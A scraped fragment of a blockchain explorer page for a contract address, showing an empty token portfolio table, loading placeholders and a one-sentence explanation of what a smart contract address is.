| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.